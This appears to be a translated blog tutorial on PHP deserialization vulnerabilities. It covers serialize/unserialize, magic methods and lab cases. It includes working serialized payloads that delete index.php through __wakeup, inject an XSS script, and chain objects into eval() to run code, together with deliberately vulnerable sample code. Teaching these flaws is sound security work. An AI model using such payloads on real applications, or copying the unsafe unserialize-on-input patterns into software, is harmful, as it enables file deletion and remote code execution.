Summary of Deserialization Vulnerabilities

Table of contents

1. Understand serialization and deserialization

2.php deserialization and serialization

2.1 Classless serialization and deserialization demonstration

2.2 Demonstration of class serialization and deserialization

2.2.1 Class understanding

 2.2.2 Classful serialization process

2.2.3 Class deserialization process

 3. Magic method

4. Simple case

4.1__wakeup() deserialization case

4.2. Pikachu's anti-serialization vulnerability case

4.3 Use of other functions

5. The meaning of serialized format letters

6. What is the deserialization vulnerability

7. Deserialization defense


1. Understand serialization and deserialization

Before learning deserialization vulnerabilities, you need to understand what deserialization and serialization are. I saw a good analogy, and I think it is very suitable to help you understand the two. I believe everyone has bought things on Taobao. I have never bought that kind of small furniture. I have bought a shoe cabinet. The merchant will not send you a complete shoe cabinet when it is delivered. The first is because it may be damaged in the middle, and the second is to increase the packaging cost. Therefore, the merchants will package and send all the parts of the shoe cabinet, and the customer will install the shoe cabinet according to the installation tutorial after receiving the express delivery. Then there are two processes in it, one is that the merchant packs all the parts and sends them away, and the other is that you get the installation and restore them. Then serialization is the process of merchant packaging, and deserialization is the process of restoring goods. The reason why there are these two processes is mainly to facilitate data transmission and storage, because some variables need to be reused, that is, used across scripts, then I don’t want to define variable names for each script, wasting my time, but If a script file is executed, it will automatically release the variables, so I need to deserialize and save the variables, and then use them for other scripts. I feel that most of the bugs are due to programmers being lazy, hahaha, just kidding.

2.php deserialization and serialization

2.1 Classless serialization and deserialization demonstration

We have a certain understanding of serialization and deserialization through metaphors, so how is it reflected in the code, here we show you with php code, then when it comes to php serialization, we will talk about two functions serialize and unserialize, the serialize function is to serialize the data, and the unserialize function is to deserialize the data. This is an online tool, you can practice by yourself

Code online editing, code running online, online coding tools

<?php

$name = 'nihao';//定义一个变量
$usr = serialize($name);//将变量序列化
$aa=unserialize($usr);//将变量反序列化
echo $usr;//打印序列化之后的内容
echo $aa;//打印反序列化之后的内容
?>

 You can see that the data before serialization is $name='nihao', a variable definition, and after serialization is s:5:"nihao".

s refers to the data type string string type, 5 means there are five characters, and the following is the specific content. 

Deserialization is the opposite process of serialization, so it is usually not so simple. This kind of demonstration is a classless situation, and the scenarios we use are all classful scenarios.

2.2 Demonstration of class serialization and deserialization

2.2.1 Class understanding

Here I am afraid that some people do not understand the class and the code, so let me explain briefly.

Give an example to illustrate the next class. For example, human beings are a class, then a specific person "Zhang San" is a specific object of the class "Human", and information such as "name, height, weight" is the attribute of the object, and the action For example, "eating, dressing" and so on are the methods of the object.

Classes are all abstract. If you want the class to be concrete, you can make the class concrete through new, and you can use the methods inside.

<?php
class TestClass//类名
{
//一个变量,相当于属性
public $name = 'zhansan';
//一个简单的方法
public function Printaa()
{
echo $this->name;
}
}
//创建一个对象
$ob = new TestClass();
//调用一个方法
$ob->Printaa();
?>

 2.2.2 Classful serialization process

It can be seen that when the serialized object is a class, serialization is to turn variables into data that is better transmitted and stored. Serialization enables variable values ​​to be passed across script files, so that they cannot be used because the variables and content are released after the previous script is executed.

<<?php

class TestClass//类名
{
    public $variable = 'This is a string';
    public $age = 12;
    public function printdata()
    {
        echo 'hello';
    }  
}
$object = new TestClass();//创建对象
$aa=serialize($object);//序列化

echo $aa;

?>

 The following O:9:"TestClass":2:{s:8:"variable";s:4:"Tina";s:3:"age";i:12;} is the serialized form of the object TestClass , "O" means the object, "9" means the length of the object name is 9, "TestClass" is the object name, and "2" means there are 2 parameters. "s" means string, "8" means length, and "variable" means variable value; "i" means integer, which means integer, "12" means variable value, and integer has length.

2.2.3 Class deserialization process

<?php

//一个类
class TestClass
{
    //类的数据
    public $age = 0;
    public $name = '';
    //输出数据
    public function printdata()
    {
        echo $this->name;
        echo $this->age;
    }
}
//重建对象
$usr = unserialize('O:9:"TestClass":2:{s:3:"age";i:22;s:4:"name";s:9:"vergilben";}');
//输出数据
$usr->printdata();
?>

3. Magic method

The php class may contain some special functions called magic functions. The names of magic functions start with the symbol __, such as __construct, __destruct, __toString, __sleep, __wakeup, etc. These functions are called automatically under certain circumstances. The following is a case to deepen understanding.

__construct   当一个对象创建时被调用,
__destruct   当一个对象销毁时被调用,
__toString   当一个对象被当作一个字符串被调用。
__wakeup()   使用unserialize时触发
__sleep()    使用serialize时触发
__destruct()    对象被销毁时触发
__call()    在对象上下文中调用不可访问的方法时触发
__callStatic()    在静态上下文中调用不可访问的方法时触发
__get()    用于从不可访问的属性读取数据
__set()    用于将数据写入不可访问的属性
__isset()    在不可访问的属性上调用isset()或empty()触发
__unset()     在不可访问的属性上使用unset()时触发
__toString()    把类当作字符串使用时触发,返回值需要为字符串
__invoke()   当脚本尝试将对象调用为函数时触发
<?php  
   
class TestClass  
{  
    // 一个变量  
    public $variable = 'hello';  
    // 一个简单的方法   
    public function PrintVariable()  
    {  
        echo $this->variable . '<br />';  
    }    
    public function __construct()  
    {  
        echo '__construct <br />';  
    }   
    public function __destruct()  
    {  
        echo '__destruct <br />';  
    }   
public function __wakeup()  
    {  
        echo '__wakeup <br />';  
    }  
    public function __toString()  
    {  
        return '__toString <br />';  
    }  
}  
   
// 创建一个对象  
// 1. __construct会被调用   打印construct  
$object = new TestClass();     
//2. 创建一个方法   打印hello
$object->PrintVariable(); 
//序列化
$aa=serialize($object);    

//3.进行反序列化 打印wakeup
$bb=unserialize($aa);
//4.打印序列化结果
echo $aa; 
// 对象被当作一个字符串  
//5.  __toString会被调用 打印tostring 
echo $object
//6. 脚本结束__destruct会被调用 调用二次,二个对象释放了  
?> 

4. Simple case

4.1__wakeup() deserialization case

Through the above case, we can see that the magic method is automatically called in some cases. For example, we will directly call __wakeup() and __destruct() during the deserialization process. No other means are needed in the middle to complete the method. transfer. Next, we will practice on the shooting range, build the local shooting range and see the web penetration shooting range (pikachu, DVWA) local construction environment configuration_dreamthe's Blog-CSDN Blog

Suppose the original function of our program is to store temporary files, and when the program is executed, delete the files. Improper handling can result in arbitrary file deletion.

You can see that there is a file 2.php and index.php in the website directory. 2.php code is as follows 

<?php

class logfile
{
    //文件名
    public $filename = '';
    //临时文件存储
    public function logdata($text)
    {
        echo 'log data:'.$text.'<br />';
        file_put_contents($this->filename,$text,FILE_APPEND);
    }
    //当脚本结束删除文件
    public function __wakeup()
    {
        echo '__destruct deletes '.$this->filename.'file.<br />';
        unlink(dirname(__FILE__).'/'.$this->filename);
    }
}

$usr = unserialize($_GET['test']);//参数输入

?>
//2.php
O:7:"logfile":1:{s:8:"filename";s:9:"index.php";}

The original intention of accessing the 2.php file was not to delete index.php. We know that there is this file in the directory of the website through other channels, so we can use this vulnerability to delete index.php. When we enter parameters when we visit, we will see the directory It was found that index.php was deleted. Why is there a loophole? First, the parameters we input are controllable, and second, the parameters are not filtered.

4.2. Pikachu's anti-serialization vulnerability case

Here we directly look at the source code, and judge the input data in the code. If the input data is not a serial number, the big brother will be displayed. If it is serialized data, the variable value will be displayed on the page. There are still loopholes due to the lack of filtering of the parameters. , if we construct the following payload, a window will pop up.

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

 

4.3 Use of other functions

Because the __wakeup function is automatically called during deserialization, if the vulnerable code is in the wakeup function, it is easy to use and very convenient. But if the vulnerability exists in a normal method, not in the magic method, how to use it.

Analyze the following code, the code originally calls the testclass class to create an object, the object creation triggers the magic method to call the __construct() function, and then calls the testing1 class, the execution of the script ends, and the magic method __destruct() function is triggered, and the action() method is called. The class name is printed out as a string. But here is a test2 class, if it is called, if the value of the parameter test2 is a legal string, then eval will execute the value in php code.

<?php
class testclass {
    var $test;
    function __construct() {
        $this->test = new testing1();
    }
    function __destruct() {
        $this->test->action();
    }
}
class testing1 {
    function action() {
        echo "testing1";
    }
}
class testing2 {
    var $test2;
    function action() {
        eval($this->test2);
    }
}
$aa = new testclass();
unserialize($_GET['test']);
?>
//3.php

construct payload

When the serialization value is input, the __construcr() function calls the testing2() class during the deserialization process, $test2="phphinfo;" and so on to execute the value of test in PHP code.

O:9:"testclass":1:{s:4:"test";O:8:"testing2":1:{s:5:"test2";s:10:"phpinfo();";}}

 Visit 3.php, you can see that the code is executed successfully.

5. The meaning of serialized format letters

a - array                    b - boolean  
d - double                   i - integer
o - common object            r - reference
s - string                   C - custom object
O - class                  N - null
R - pointer reference      U - unicode string

6. Deserialization vulnerability principle

In the development process, we use many classes for convenience and quickness. If we need that function, we can call the class directly. Sometimes some variables in the class also need to be reused in different script files. Serialization is used for convenience. and deserialization. Because serialization stores and transports our variables very well, it will not be released because other scripts are executed and the variables cannot be used, so the variables can be executed across scripts. In this process, if there is no parameter input by the user It is easy to detect, and filtering will lead to malicious control during the deserialization process, which will cause code execution, getshell and other hazards. For example, in the case of pikachu in the shooting range, there is no filtering that leads to loopholes. It may also be caused by improper use of some magic methods. Deserialization vulnerabilities are not unique to PHP, but also exist in Java, Python and other languages, but the principles are basically the same. To sum up, I think deserialization needs to cooperate with code auditing. If it is black box penetration, it needs to penetrate from many aspects, and it is still difficult.

7. Deserialization defense

Mainly for the filtering of parameters, do not trust any parameters entered by the user.

Reference Link  PHP Deserialization Vulnerability Principle and Recurrence - Brief Book

Guess you like

Origin blog.csdn.net/dreamthe/article/details/121510435